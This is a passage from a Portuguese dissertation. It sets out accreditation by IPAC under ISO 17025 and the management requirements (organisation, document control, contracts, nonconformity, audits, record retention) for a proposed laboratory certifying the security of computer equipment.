Para esta Dissertação, propõe-se uma especificação destes requisitos, que terá por base as normas da Common Criteria, que já foi anteriormente abordada, e também as normas ISO 17025, ISO 9001 e ISO27001. A ISO 17025 aplicada a muitos laboratórios que necessitem de requisitos de segurança e técnicos específicos tais como laboratórios forenses, e de testes e calibração de instrumentos sensíveis, com a designação “General requirements for the competence of testing and calibration laboratories", especifica os requisitos gerais para a competência de laboratórios de testes. Esta ISO engloba e garante que são cumpridos os requisitos da ISO 9001 que tem a designação “Quality management systems – Requirements”, que é uma norma que estabelece um modelo de gestão da qualidade. Por outro lado a ISO 27001 também já abordada nesta Dissertação, servirá de base nas matérias relacionadas com a Segurança de Sistemas de Informação. Além destas normas também serão dadas algumas contribuições pessoais, que se pensa contribuírem para as melhores condições de funcionamento de uma estrutura com estas características.

Deste modo, as Secções que se seguem descrevem o modelo e requisitos de funcionamento do Laboratório de Certificação de Idoneidade de Equipamento Informático.

.



77 .

5.2 Acreditação e Certificação do Laboratório

A acreditação do Laboratório consiste na avaliação e reconhecimento das suas competências técnicas em efetuar atividades, que neste caso serão testes e avaliações à segurança de equipamento informático.

A acreditação serve para ganhar e transmitir confiança na execução de determinadas atividades técnicas, ao confirmar a existência de um nível de competência técnica mínimo, que seja reconhecido nacional e internacionalmente [56].

A acreditação funciona também como um regulador técnico, e não económico, entre Laboratórios, uma vez que a competição entre eles introduz um fator económico para que a escolha possa ser facilitada, garantindo que a otimização de custos não diminui a competência técnica, nem compromete a confiança na execução das atividades que estão acreditadas [56].

5.2.1 Avaliação das Competências Técnicas do Laboratório

Cada Estado-Membro da UE e EFTA22 designou um único organismo nacional de acreditação, tendo em Portugal essa missão sido atribuída ao IPAC, conforme disposto no Decreto-Lei n.º 23/2011 [56].

Os serviços de acreditação prestados pelo IPAC estão descritos no Regulamento Geral de Acreditação - DRC001.

Assim, o IPAC é o organismo que em Portugal presta serviços de acreditação e reconhecimento de competências técnicas aos Laboratórios de testes e avaliações de conformidade.

O sistema nacional de acreditação gerido pelo IPAC consiste no conjunto de regras e procedimentos usados para o reconhecimento da competência técnica de entidades para efetuarem atividades de avaliação da conformidade específicas [57].

Os critérios de acreditação são os requisitos que os Laboratórios devem cumprir para serem acreditados, os quais podem ser de caráter geral (aplicáveis a todas as acreditações) e de caráter específico (conforme cada tipo de acreditação), complementares aos gerais [61].

22 A European Free Trade Associatio – EFTA é uma organização intergovernamental com o objetivo de promover o livre comércio e a integração económica de modo a beneficiar os seus membros. Fonte: http://www.efta.int/about-efta.aspx

.



78 .

No caso dos Laboratório de testes e avaliações, será aplicado o Procedimento para Acreditação de Laboratório – DRC005, e este será assim o documento a utilizar, conjuntamente com o DRC001, para o processo de acreditação do Laboratório.

As disposições contidas no DRC005 aplicam-se a todos os laboratórios que apresentem a sua candidatura ao IPAC [61].

Todos os Laboratórios devem cumprir os requisitos e obrigações gerais definidos e referenciados pelo DRC001 mas também devem cumprir com os requisitos estabelecidos por documentos EA ou ILAC se aplicáveis ao seu âmbito de atuação, bem como eventuais requisitos específicos de esquemas sectoriais proprietários ou regulamentares [61].

No caso dos Laboratório de testes e avaliações, será aplicada a ISO/IES 17025 com o apoio do Guia de Aplicação OGC001.

5.2.2 Requisitos para a Acreditação

Para que a acreditação do Laboratório por parte do IPAC seja possível, este deve seguir os requisitos especificados no Standard ISO 17025 - “General requirements for the competence of testing and calibration laboratories". A Figura que se segue ilustra quais as competências que o IPAC avalia e qual a sua posição perante a EA.

Figura 26 - Acreditações efetuadas pelo Instituto Português de Acreditação, I.P. (IPAC) (Fonte: http://www.ipac.pt/ipac/funcao.asp)

.



79 .

O fator segurança a que estes Laboratórios devem estar obrigados, tal como os requisitos que os mesmos devem cumprir, aumentou nos últimos anos, e deve ser garantido que os Laboratórios operem segundo um sistema de controlo e gestão de qualidade eficiente e acreditado, o qual deverá ser complacente com a ISO 9001. Este fator foi tomado em conta aquando da elaboração da ISO 17025 e, assim sendo, os Laboratórios que estejam em conformidade e cumpram os seus requisitos, automaticamente também cumprirão os requisitos da ISO 9001 [65].

A utilização da ISO 17025 facilitará também a cooperação entre Laboratórios e outros organismos, tal como a troca de informação, experiência e harmonização de normas e procedimentos. Por outro lado, permite que o Laboratório tenha uma boa imagem no mercado, podendo assim responder a maiores exigências, uma vez que a é garantido que o trabalho é desenvolvido por pessoal competente e habilitado, e que são utilizados os equipamentos e os métodos mais adequados

5.2.3 O Processo de Acreditação

O processo de acreditação é dirigido por normas internacionais, de modo a permitir a existência de Acordos de Reconhecimento Internacionais e o cumprimento do Regulamento (CE) 765/2008 do Parlamento Europeu e do Conselho, o qual contém diversas disposições quer para o País, quer para o IPAC. O processo está descrito em detalhe no Regulamento Geral de Acreditação - DRC001 [56], e é ilustrado pela Figura que segue.

.



80 .

Figura 27 - Processo de Acreditação do Laboratório por parte do IPAC

(Fonte: http://www.ipac.pt/ipac/funcao.asp)

O processo inicia-se pela apresentação de uma candidatura pelo Laboratório, devendo o mesmo preencher os formulários correspondentes ao sector de atividade que pretende desempenhar e ver acreditado. A candidatura é de seguida analisada pelo IPAC para verificar se está completa e se pode ser dada a devida sequência. Durante a fase de avaliação o IPAC nomeia a equipa avaliadora, a qual estuda a documentação e procede à avaliação. Após a avaliação é emitido um Relatório identificando, caso existam, as deficiências a serem corrigidas para demonstrar o cumprimento das normas de acreditação, ou com o resultado positivo da avaliação. A entidade irá responder, e a equipa avaliadora estuda e emite um parecer, a que se segue uma análise de todo o processo pelo IPAC – se aplicável, é solicitado um parecer às entidades regulamentares. É então tomada uma decisão pelo IPAC, que sendo favorável, irá desencadear o ciclo anual seguinte [56].

5.2.4 O Reconhecimento da Acreditação

O Reconhecimento da Acreditação do Laboratório pode ser efetuado consultando a página web do IPAC, a qual disponibiliza um Diretório de Entidades Acreditadas, que é mantido atualizado para confirmação da validade das acreditações, de forma a verificar situações de suspensões ou anulações, tal como concessões e extensões [56].

.



81 .

Para permitir identificar uma Entidade Acreditada o IPAC emite um Certificado de Acreditação com um Anexo Técnico que descreve as atividades acreditadas, que podem ou não coincidir com todas as atividades que o Laboratório realiza [56].

As entidades acreditadas são autorizadas a exibir os símbolos de Acreditação, de acordo com o respetivo Regulamento (DRC002). É obrigatória a utilização dos símbolos de Acreditação nos documentos resultantes das atividades acreditadas, como Relatórios e Certificados, e facultativa noutros documentos associados à realização das mesmas, como orçamentos, faturas, brochuras ou documentação interna do Laboratório [56].

5.3 Requisitos de Gestão

A especificação dos Requisitos de Gestão tem como objetivo permitir o normal e eficiente funcionamento do Laboratório de Certificação de Equipamento Informático, e tem por base, como já foi referido, a aplicação de algumas normas e requisitos de acordo com a ISO 17025 e também contributos e sugestões pessoais que se pensa serem importantes para o funcionamento do Laboratório.

Existem muitos fatores que determinam o eficiente funcionamento de um Laboratório deste tipo, dos quais se destacam [65] [66]:

Organização; Sistema de Gestão; Controlo de Documentação; Análise de Consultas, Propostas e Contratos; Subcontratação de testes e avaliações; Aquisição de Produtos e Serviços; Serviços ao Cliente; Reclamações Controlo de Não Conformidade Melhorias Ações Corretivas Ações Preventivas Controlo de Registos Auditorias Internas Revisões do Sistema.

As Secções que se seguem pretendem descrever estes fatores.

.



82 .

5.3.1. Organização

O Laboratório deve ser uma entidade que possa ser considerada legalmente responsável. Normalmente existem dois tipos de existência legal: Laboratório com personalidade jurídica própria, composto por uma ou mais unidades técnicas ou Laboratório integrado numa entidade com personalidade jurídica própria, sendo que em ambos casos o Laboratório (ou a entidade onde se insere) deve comprovar a sua existência legal por documento legal apropriado (Decreto-Lei, Registo Comercial, etc.). No caso de apenas a entidade que integra o laboratório ter existência legal, tal situação deve estar explicitamente referenciada num documento, por exemplo no Manual da Qualidade, definindo a sua integração na estrutura da mesma.

Deve existir no Laboratório um sistema de comunicações fluido, que seja simples mas eficiente, de modo a que a Informação circule facilmente entre todo o pessoal, privilegiando formas de comunicação registadas de forma a manter um registo das comunicações e documentação.

Deve existir no Laboratório documentação que especifique em detalhe as normas de funcionamento do mesmo. Nesta documentação devem constar normas e procedimentos a adotar em todas as áreas do Laboratório, e que cubram todos os aspetos para um eficiente funcionamento do mesmo, como normas de utilização das ferramentas e equipamentos, normas de utilização das instalações, políticas de segurança, políticas sobre clientes e fornecedores, normas de elaboração de relatórios, entre outras normas ou políticas referentes a atividades ou fatores que façam parte do funcionamento do Laboratório.

Deve existir um Diretor Geral do Laboratório, o qual deve ter habilitações e competências na área da Segurança Informática ou semelhante. Deve preferencialmente possuir Doutoramento nessa área e em termos de competências o máximo de experiência possível. O Diretor deve ser o responsável máximo pelo Laboratório, e não deve existir a possibilidade de delegar essa responsabilidade em caso de falta dessa pessoa. O Diretor Geral em conjunto com o responsável pela Área de Gestão e o responsável pela Área Técnica realizam entrevistas e análise curricular aos possíveis colaboradores a integrar no Laboratório.

Deve existir um responsável pela Área de Gestão do Laboratório. Essa pessoa deve ter habilitações e competências na área da Segurança Informática ou semelhante. Deve preferencialmente possuir Mestrado nessa área e em termos de competências o máximo de experiência possível. Deve existir a possibilidade de delegar essa responsabilidade em caso de falta dessa pessoa.

Deve existir uma Secção de Gestão de Clientes e Fornecedores. Essa Secção deve assegurar que todos os contactos efetuados por parte de clientes e fornecedores são

.



83 .

devidamente respondidos e tratados. No caso dos clientes, deve garantir que estes obterão a devida certificação dos seus equipamentos mediante o trabalho efetuado no Laboratório. No caso dos fornecedores, deve garantir que os mesmos cumpram com prazos e qualidade nos artigos pretendidos.

Deve existir uma Secção de Gestão Técnica com a responsabilidade de complementar as operações técnicas, isto é, que possa fornecer os recursos necessários à Área Técnica de modo a que se possam realizar os testes e avaliações com a máxima qualidade e dentro dos requisitos e tempo pretendidos.

Todo o pessoal de gestão deve ter habilitações e competências na área da Segurança Informática ou semelhante. Deve preferencialmente possuir Licenciatura na área da Segurança Informática ou semelhante e em termos de competências o máximo de experiência possível.

Deve existir sempre supervisão ao pessoal de gestão, por parte do responsável pela Área de Gestão. Deve existir um registo das atividades efetuadas pelo pessoal de gestão devidamente detalhado com datas, descrições e outros elementos relevantes. Este registo deve ser mantido em bases de dados ou outro suporte que permita a sua consulta sempre que necessário.

O Laboratório deve ter pessoal de gestão com autoridade e recursos para levarem a cabo a implementação, manutenção e melhorias dos requisitos de gestão, ou seja, do bom funcionamento do Laboratório. Este pessoal deve ser livre de pressões exteriores que possam afetar a qualidade do seu trabalho.

Deve existir um responsável pela Área Técnica do Laboratório. Essa pessoa deve ter habilitações e competências na área da Segurança Informática ou semelhante. Deve preferencialmente possuir Mestrado e em termos de competências o máximo de experiência possível. Deve existir a possibilidade de delegar essa responsabilidade em caso de falta dessa pessoa.

Todo o pessoal técnico deve ter habilitações e competências na área da Segurança Informática ou semelhante. Deve preferencialmente possuir Mestrado na área da Segurança Informática ou semelhante e em termos de competências o máximo de experiência possível.

É o responsável pela Área Técnica do Laboratório, que depois de informado pelo Gestor de Clientes das condições e objetivos propostos pelo Cliente, autoriza o pessoal técnico a efetuar os testes e avaliações e emitir o respetivo Relatório Técnico – RT, o qual será depois validado pelo Diretor Geral do Laboratório. Durante estas atividades deve existir sempre supervisão ao pessoal técnico, por parte do responsável da Área Técnica. Deve existir um registo das atividades efetuadas pelo

.



84 .

pessoal técnico devidamente detalhado com datas, descrições e outros elementos relevantes. Este registo deve ser mantido em bases de dados ou outro suporte que permita a sua consulta sempre que necessário.

Deve existir uma Secção de Gestão da Qualidade que dependa do responsável pela Área de Gestão do Laboratório e que tenha a responsabilidade em assegurar que a Área de Gestão e a Área Técnica cumprem em todos os momentos os requisitos de qualidade estipulados pelo Laboratório.

O Sistema de Gestão do Laboratório deve prever que possa existir trabalho a efetuar fora do mesmo, sem que isso comprometa a qualidade do trabalho e a certificação do equipamento. Esta situação poderá ocorrer´, por exemplo, quando não existirem equipamentos ou know-how dentro do próprio Laboratório.

O Laboratório deve ter políticas e procedimentos de segurança que garantam a proteção das suas infraestruturas, do seu pessoal, dos seus clientes e fornecedores, dos seus equipamentos e das suas aplicações .

Todo o pessoal do Laboratório deve manter o sigilo profissional, constando este fato nos respetivos contratos de trabalho, e no caso de rescisão, deve ser entregue qualquer material que esteja na posse do colaborador tal como o mesmo deve garantir a não divulgação de quaisquer elementos relativos ao Laboratório, podendo o não cumprimento desta condição levar a ação judicial.

O Laboratório deve ter políticas e procedimentos que evitem o envolvimento do seu pessoal em atividades que possam de algum modo diminuir o grau de confiança na competência, imparcialidade, e integridade operacional do Laboratório.

Apresenta-se de seguida um Organograma que ilustra a proposta do Modelo de Gestão do Laboratório.

.



85 .

Figura 28 - Organograma que ilustra o Modelo de Gestão do Laboratório de Certificação de Equipamento

Informático

5.3.2. Sistema de Gestão

O Laboratório deve estabelecer, implementar e manter um Sistema de Gestão – SG de um modo apropriado às suas funções e ao seu eficaz funcionamento. Para esse efeito, deve documentar as suas políticas, sistemas, procedimentos e instruções.

Os objetivos gerais devem ser estabelecidos, tal como uma declaração de políticas de qualidade, que devem incluir pelo menos o seguinte:

O compromisso por parte do Laboratório em manter boas práticas profissionais e a qualidade dos seus testes; Declaração da Direção sobre os padrões de funcionamento e serviços prestados pelo Laboratório; O propósito do Sistema de Gestão em relação à Qualidade; A exigência de que todo o pessoal do Laboratório esteja familiarizado com a documentação relacionada com a qualidade, e que implementa e cumpre as suas políticas e procedimentos no realizar das suas funções; O compromisso por parte do Laboratório em cumprir as normas de segurança e qualidade procurando sempre a melhoria contínua da eficácia do Sistema de Gestão.

Deve assim existir um Manual da Qualidade - MQ com as políticas e procedimentos relacionados com a qualidade. O MQ será da responsabilidade da Área de Gestão e sujeito a aprovação pela Direção do Laboratório. As políticas e procedimentos do MQ devem constantemente ser revistos a fim de serem melhorados, seja a partir da deteção de situações anómalas ou pela introdução ou modificação de operações que

Responsável Área de Gestão

Diretor Geral

Responsável Área Técnica

Gestão da Qualidade

Gestão Técnica

Pessoal de Gestão

Pessoal Técnico

Pessoal Técnico

Pessoal Técnico

Gestão de Clientes e

Fornecedore

… … … …

.



86 .

possam contribuir para um melhor funcionamento da Laboratório. O MQ também deve incluir uma estrutura base a seguir pela documentação produzida pelo Laboratório.

A Direção deve ter a preocupação de comunicar ao pessoal a importância de se satisfazerem os requisitos do cliente, ao mesmo tempo que se cumprem os requisitos de funcionamento do Laboratório.

As responsabilidades de todo o pessoal do Laboratório devem estar bem definidas, existindo conteúdos funcionais para cada um devidamente pormenorizados a fim de especificar as suas competências. As responsabilidades devem no mínimo focar determinados pontos como: fatores que digam respeito ao funcionamento do Laboratório, fatores que digam respeito à gestão do Laboratório, fatores que digam respeito às Áreas de Gestão e Técnica do Laboratório, fatores que digam respeito à realização dos testes e avaliações e à avaliação desses resultados e elaboração de relatórios, entre outros fatores que tenham a ver com as responsabilidades do pessoal envolvido nas atividades do Laboratório.

Todos os documentos, tais como procedimentos, normas, instruções, entre outros, devem estar escritos numa linguagem acessível e compreendida por quem os utiliza e devem conter a seguinte informação:

Identificação clara e inequívoca do documento em todas as páginas que o constituem; Evidência da sua validação e atualização; Objetivo e âmbito de aplicação da atividade descrita no procedimento; Quem (responsáveis) faz o quê (ação), como (procedimento) e quando

(condições); Materiais, equipamentos e documentação aplicável; Modo de controlo e registo da atividade.

Recomenda-se que a estrutura documental de suporte ao SG do Laboratório tenha a seguinte arquitetura:

1º Nível - MQ; 2º Nível - procedimentos que complementam o MQ, normalmente

designados por procedimentos de gestão e/ou da qualidade; 3º Nível - todos os documentos técnicos (exemplo: procedimentos de testes, de manutenção, operacionais /funcionamento, etc.); 4º Nível - registos, quer sejam relativos aos dados originais de testes, de

auditorias internas, fichas de pessoal (ou de equipamentos), etc.

.



87 .

A documentação existente no SG deve ser elaborada de uma forma clara para que seja por todos entendível, e possível de ser rastreada a qualquer momento, independentemente da Secção onde se encontre ou das pessoas que estejam na sua posse.

5.3.3. Controlo de Documentação

Por Documentação deve entender-se qualquer documento, independentemente do seu suporte físico.

O Laboratório deve estabelecer e manter procedimentos que controlem toda a sua Documentação, quer tenha sido gerada internamente, como por exemplo relatórios, e-mails, informações, requisições, entre outros, ou gerada externamente, como por exemplo normas, manuais, pedidos e contratos de clientes e fornecedores, entre outros.

A Documentação gerada internamente deve obedecer a determinados requisitos de estruturação de acordo com políticas estabelecidas pelo Laboratório e identificadas no MQ, como a utilização de normas de elaboração, utilização de logótipos, identificação da documentação, entre outros fatores, de modo que toda a Documentação mantenha uma estrutura semelhante e unívoca.

Os procedimentos de controlo de documentação devem assegurar que:

A Documentação deve ser periodicamente revista (pelos responsáveis das Áreas de Gestão e Técnica) e aprovada (pelo Diretor Geral), de forma a garantir que está devidamente atualizada, em conformidade com todas as normas; Podem existir diferentes cópias de Documentação autorizadas pelos responsáveis das Áreas de Gestão e Técnica, nas Secções do Laboratório onde as mesmas sejam necessárias; Sempre que exista uma nova versão de Documentação, deve ser garantido nos locais onde a mesma é utilizada, que a versão anterior é substituída, e que essa referência fica registada no novo Documento; Deve existir um registo da versão da Documentação a fim de não se utilizarem documentos obsoletos; Documentos obsoletos ou inválidos que tenham que ser armazenados, quer por questões de controlo de versões, quer por questões legais, devem ser devidamente assinalados para esse propósito e armazenados em local próprio assim seja o seu suporte físico.

.



88 .

Devem existir políticas de acesso à documentação.

5.3.4. Análise de Consultas, Propostas e Contratos

O Laboratório deve estabelecer e manter procedimentos para a análise de consultas, propostas e contratos. As políticas e procedimentos que originem um contrato com um cliente, devem assegurar que:

Os requisitos, incluindo os métodos a serem utilizados, estão bem definidos, e documentados; O Laboratório tem a capacidade e recursos para cumprir com esses requisitos; São escolhidos os métodos de teste adequados e capazes de satisfazer os requisitos do cliente.

Qualquer contrato deve ser devidamente aceite tanto pelo cliente como pelo Laboratório. Quaisquer divergências entre o pedido ou proposta e o contrato devem ser resolvidas antes de ser efetuado qualquer trabalho por parte do Laboratório.

O Laboratório deve conservar os registos de contactos com os clientes como sejam, reuniões, telefonemas, e-mails, faxes, entre outros, no âmbito da análise do contrato, incluindo todos os pontos relevantes, nomeadamente prazos de entrega e de apresentação de resultados, preços, responsabilidades pela colheita de amostra, entre outros.

A análise de consultas, propostas e contratos deve ser efetuada de uma forma prática e eficaz e devem ser tidos em conta todos os aspetos financeiros, legais e de programação de tempo. Além disso, esta análise deve estabelecer que o Laboratório detém todos os recursos, humanos e técnicos, para a realização dos testes e avaliações propostos. Devem também desde logo ser tidos em conta aspetos que tenham a ver com a necessidade de subcontratar trabalho a outras Entidades ou Laboratórios.

O cliente deve ser informado sempre que exista qualquer desvio do estabelecido no contrato e se o contrato necessitar de ser alterado após o início do trabalho, o mesmo processo de análise deve ser repetido e quaisquer alterações devem ser comunicadas a todas as partes envolvidas (cliente, Laboratório, respetivo pessoal afeto a esse trabalho ou outros).

Devem existir políticas de acesso às consultas, propostas e contratos.

.



89 .

5.3.5. Subcontratação de Testes e Avaliações

Caso o Laboratório necessite de subcontratar a realização de testes e avaliações, quer seja por razões de volume de trabalho, necessidade de maior especialização, incapacidade temporária do Laboratório em realizar os testes ou qualquer outra razão, este trabalho deve ser levado a cabo por outros Laboratórios ou entidades devidamente competentes e certificadas. Sempre que uma situação deste tipo se verifique, o Laboratório deve informar o ciente, a fim de obter a sua aprovação.

A informação relativa a casos de subcontratação deve ficar devidamente identificada e armazenada, entre a qual deve constar: identificação da Entidade ou Laboratório subcontratado, motivo da subcontratação, documentação de consultas, propostas e contratos e documentação de gestão e técnica incluindo todos os detalhes de gestão e técnicos relativos ao trabalho efetuado.

5.3.6. Aquisição de Produtos e Serviços

O Laboratório deve estabelecer políticas e procedimentos para a seleção e aquisição de produtos e serviços necessários ao seu funcionamento. Estes procedimentos devem englobar o pedido, aquisição, receção e armazenamento além de uma gestão de stocks que deve ser mantida pela área de gestão do Laboratório.

O Laboratório deve garantir que os produtos adquiridos não foram ainda utilizados, através de inspeção e verificação de que estão de acordo com requisitos de segurança e qualidade específicos e necessários a um correto e idóneo funcionamento do Laboratório. Devem ser mantidos registos das ações tomadas a fim de verificar estes requisitos nos bens e serviços adquiridos.

Os documentos de compra de produtos e serviços que tenham relação direta com os testes e avaliações a efetuar, devem conter informação que os descreva pormenorizadamente. Esta informação pode incluir tipo, classe, categoria, especificações, desenhos e esquemas, instruções de inspeção, outra informação técnica incluindo resultados de testes efetuados, a qualidade exigida e qual a norma de sistema de gestão sobre o qual foram produzidos, entre outra.

O Laboratório deve efetuar avaliações tanto dos fornecedores, que devem obedecer a requisitos pré determinados de segurança e confiança, como dos próprios produtos e serviços que estes fornecem mantendo registos destas avaliações que sejam facilmente consultáveis.

.



90 .

5.3.7. Serviços ao Cliente

O Laboratório deve ter capacidade de responder a pedidos de clientes para a realização de testes e avaliações de equipamentos informáticos que se enquadrem na Classificação de Equipamentos a apresentar mais à frente nesta Dissertação.

O Laboratório deve garantir uma boa comunicação e capacidade de cooperação com os clientes, mantendo-os informados sobre o ponto de situação dos testes, pedindo informação ou materiais sempre que necessário, avisando-os de quaisquer anomalias ou atrasos, entre outros assuntos que necessitem de ser tratados.

Deve também estar prevista a possibilidade do cliente visitar o Laboratório, ou algumas áreas do mesmo, a fim de verificar o modo como o trabalho é efetuado garantindo assim a credibilidade do mesmo. Este acompanhamento por parte do cliente deve no entanto respeitar algumas premissas, como sejam:

Condições operatórias e/ou ambientais necessárias para não invalidar os resultados; Condições de confidencialidade em relação a trabalhos de outros clientes; Eventuais condições de segurança.

O Laboratório deve garantir a confidencialidade de todos os trabalhos realizados aos seus clientes.

O Laboratório deve procurar sempre as opiniões dos clientes em relação ao trabalho efetuado, sejam elas positivas ou negativas, as quais devem ser analisadas de modo a melhorar o serviço prestado, a qualidade dos testes, a relação com os clientes, ou qualquer outro fator que deva ser tido em conta.

5.3.8. Reclamações

O Laboratório deve ter políticas e procedimentos para a resolução de eventuais reclamações recebidas de clientes ou outras entidades como sejam fornecedores ou outros Laboratórios subcontratados.

Estes registos, conjuntamente com as respetivas ações corretivas que forem tomadas, devem ser armazenados e facilmente rastreáveis.

O Laboratório deverá considerar as reclamações como oportunidades de melhoria, convém, por isso, considerar como reclamação todas as manifestações de insatisfação pelos serviços prestados, quer sejam verbais ou escritas.

.



91 .

Os reclamantes devem ser informados sobre a metodologia para tratamento e qual o resultado final das suas reclamações.

5.3.9. Controlo de Não Conformidade

O Laboratório deve ter políticas e procedimentos que deverão ser implementados quando qualquer aspeto do seu funcionamento ou trabalho relacionado com testes e avaliações, não esteja em conformidade com os procedimentos de funcionamento internos, ou não estejam em conformidade com requisitos exigidos pelo cliente.

Estas políticas e procedimentos devem garantir que:

As responsabilidades, o pessoal e as ações para resolver problemas de controlo de não conformidade devem ser definidas, e acionadas sempre que trabalho em não conformidade seja detetado; É efetuada uma avaliação dos impactos do trabalho em não conformidade sempre que seja detetado; Ações corretivas são tomadas prontamente, sempre que trabalho em não conformidade seja detetado; Sempre que seja necessário recomeçar o trabalho a partir do ponto em que não existam aspetos de não conformidade detetados, o cliente deve ser informado; Definir a responsabilidade pelo recomeço do trabalho a partir do ponto em que não existam aspetos de não conformidade detetados; Registar devidamente todos estes procedimentos.

A identificação de trabalho em não conformidade pode ocorrer nos diversos sectores do Laboratório, quer dependam da Área de Gestão ou da Área Técnica, e em qualquer momento do processo de trabalho.

Devem existir registos facilmente rastreáveis destas ocorrências e das respetivas ações corretivas.

Alguns exemplos deste tipo de situações podem ser queixas de clientes, controlo de qualidade ineficiente, deteção de problemas de qualidade, falta de consumíveis ou ferramentas, resultados negativos de auditorias, falta ou perca de certificação, entre outras situações.

Se avaliações indicarem que a não conformidade do trabalho poderá repetir-se, ou se existirem dúvidas sobre a conformidade das operações do Laboratório com as suas próprias políticas e procedimentos, devem ser tomadas Ações Corretivas, como se sugere mais à frente neste Capítulo.

.



92 .

5.3.10. Melhorias

O Laboratório deve estar constantemente à procura de melhorar a qualidade dos serviços prestados e a eficiência da sua metodologia de trabalho, utilizando políticas de qualidade, objetivos de qualidade, resultados de auditorias, análise de resultados, feed-back de clientes, ações corretivas e preventivas, formação ao pessoal, revisões constantes do seu sistema de funcionamento, entre outras ações passíveis de serem analisadas ou implementadas de modo a melhorar o desempenho do Laboratório.

A procura da melhoria contínua deve poder ser mensurável e deve passar pela existência de metas a atingir, deve também permitir uma monitorização da evolução do cumprimento dos objetivos do sistema de gestão.

Desta forma, o Laboratório deve efetuar um acompanhamento programado de avaliação da eficácia da implementação dos projetos de melhoria e deve publicar os resultados da avaliação como forma de motivação do pessoal.

5.3.11. Ações Corretivas

O Laboratório deve estabelecer políticas e procedimentos e atribuir obrigações aos responsáveis pela Área de Gestão e Área Técnica, no sentido de se implementarem ações corretivas sempre que se detetem situações de não conformidade no seu trabalho ou desvios no cumprimento de normas.

O Laboratório deverá sempre avaliar e registar as causas que deram origem à não conformidade. Uma situação de não conformidade na Área de Gestão ou na Área Técnica pode ser detetada de várias formas, como sejam ações de controlo, feed-back dos colaboradores, auditorias, revisões ao funcionamento do Laboratório, feed-back dos clientes, entre outras.

Após detetada a situação de não conformidade ou o desvio no cumprimento das políticas do Laboratório, os procedimentos para as ações corretivas devem começar por uma investigação para determinar as causas e origem destas situações. Uma vez determinadas as causas, devem ser tomadas ações no sentido de eliminar os problemas e prevenir que os mesmos não voltem a acontecer. Estas ações devem ser planeadas pelos colaboradores que as detetaram juntamente com o responsável da Área em questão, e o seu desenrolar deve ser acompanhado pelo Diretor Geral do Laboratório.

O Laboratório deve garantir uma monitorização e deve documentar todas estas ações, e se for o caso, reformular as suas políticas e procedimentos de acordo com as ações tomadas se estas resolverem e prevenirem os problemas que foram detetados.

.



93 .

5.3.12. Ações Preventivas

Consideram-se como ações preventivas aquelas que se destinam a evitar o aparecimento de não conformidades ou que promovam a melhoria do funcionamento do Laboratório.

As ações preventivas devem assim verificar e identificar se existem situações de não conformidade no funcionamento do Laboratório e se são necessárias melhorias nalguma das suas áreas. Sempre que se detetem situações deste tipo ou melhorias que possam ser efetuadas, devem ser estabelecidos, implementados e monitorizados planos de ação a fim de reduzir a probabilidade de ocorrência destas situações.

Os procedimentos para ações preventivas devem incluir a implementação e inicialização destes planos de ação e a aplicação de controlos que garantam que os mesmos são efetivos.

Devem existir políticas e procedimentos de monitorização e controlo do funcionamento do Laboratório que incluam análise de informação seja de gestão ou técnica, informação de clientes e fornecedores, entrevistas aos colaboradores, entre outros procedimentos que possam ajudar a detetar situações anómalas ou de não conformidade.

5.3.13. Controlo de Registos

O Laboratório deve estabelecer e manter procedimentos para a identificação, recolha, preenchimento, indexação, acesso, armazenamento e destruição dos seus registos, que incluirão registos de clientes, de fornecedores, de qualidade, de gestão, registos técnicos entre outros.

Os registos de clientes e fornecedores devem incluir pedidos, propostas e contratos. Os registos de qualidade devem incluir relatórios de auditorias e revisões de gestão tal como os registos de ações corretivas e preventivas. Os registos de gestão devem incluir a informação de funcionamento e políticas internas do Laboratório. Os registos técnicos devem incluir relatórios preliminares e o relatório técnico.

Todos os registos devem ser mantidos, independentemente do suporte de armazenamento, de forma a serem facilmente acessíveis sempre que necessário, mas devem ao mesmo tempo estar seguros a fim de prevenir a sua deterioração, perda ou acesso indevido.

.



94 .

Recomenda-se que os prazos mínimos para conservação de registos sejam os seguintes:

Dados originais e derivados: preferencialmente até ao final do terceiro ano civil seguinte ao da realização do ensaio/calibração, mas pelo menos até ao final do ano civil seguinte ao da realização do ensaio/calibração; Cópias dos Relatórios/Certificados emitidos: até ao final do terceiro ano civil seguinte ao da realização do ensaio/calibração; Registos da qualidade e técnicos: pelo menos até ao final do terceiro ano civil seguinte ao da sua substituição ou realização (o maior dos dois prazos).

Considera-se que os registos de equipamentos devem ser conservados durante a vida útil do equipamento, de modo a evidenciar a respetiva conformidade durante o período de atividade do mesmo.

Estes prazos são independentes do cumprimento de outros aplicáveis, nomeadamente legais ou contratuais.

Devem existir políticas de acesso aos registos.

5.3.14. Auditorias Internas

O Laboratório deve proceder periodicamente, de preferência anualmente, a procedimentos de auditoria interna das suas atividades, de modo a verificar que as suas operações continuam a obedecer aos requisitos internos de qualidade, segurança e ótimo funcionamento para deste modo detetar e corrigir as deficiências assim como para melhorar continuadamente o SG.

O planeamento e organização destas auditorias devem ser da responsabilidade da Secção da Qualidade com a autorização da Direção. Este planeamento e organização devem resultar num programa de auditoria, que pode ser global ou apenas para uma secção do Laboratório, o qual pressupõe a existência de um planeamento e cronograma das ações a realizar.

Estas auditorias devem ser realizadas por pessoal devidamente qualificado para o efeito, e que não represente diretamente a atividade ou área a ser auditada a fim de não existirem favorecimentos.

Sempre que as auditorias encontrem elementos que coloquem em causa a qualidade do trabalho efetuado, o Laboratório deve tomar medidas corretivas em tempo oportuno, e notificar os clientes caso as auditorias tenham revelado que os resultados produzidos possam ter sido de alguma forma comprometidos ou afetados por esses elementos em não conformidade.

.



95 .

Todas as atividades da auditoria, como sejam as investigações, constatações e ações corretivas ou recomendações devem ser devidamente registadas e facilmente rastreáveis.

As auditorias devem sempre consultar registos de auditorias anteriores, a fim de verificar se existiram situações de não conformidade detetadas nessa secção ou no Laboratório, quais foram as ações corretivas implementadas para as resolver e se efetivamente foram resolvidas.

5.3.15. Revisões do Sistema

O Laboratório deve periodicamente, de preferência anualmente, e de acordo com políticas e procedimentos pré-determinados, conduzir revisões ao seu sistema interno de funcionamento, de modo a garantir a sua qualidade e eficácia, mas também para introduzir modificações ou melhorias sempre que necessário.

Estas revisões devem, entre outros, analisar os seguintes fatores:

A adequabilidade das políticas e procedimentos; Relatórios de pessoal de gestão e de supervisão; Resultados de auditorias internas recentes; Ações corretivas e preventivas; Avaliações de entidades externas; Resultados de comparações interlaboratoriais; Alterações no volume ou tipo de trabalho; Avaliações dos clientes; Queixas; Recomendações; Atividades de controlo de qualidade; Treino e formação de pessoal.

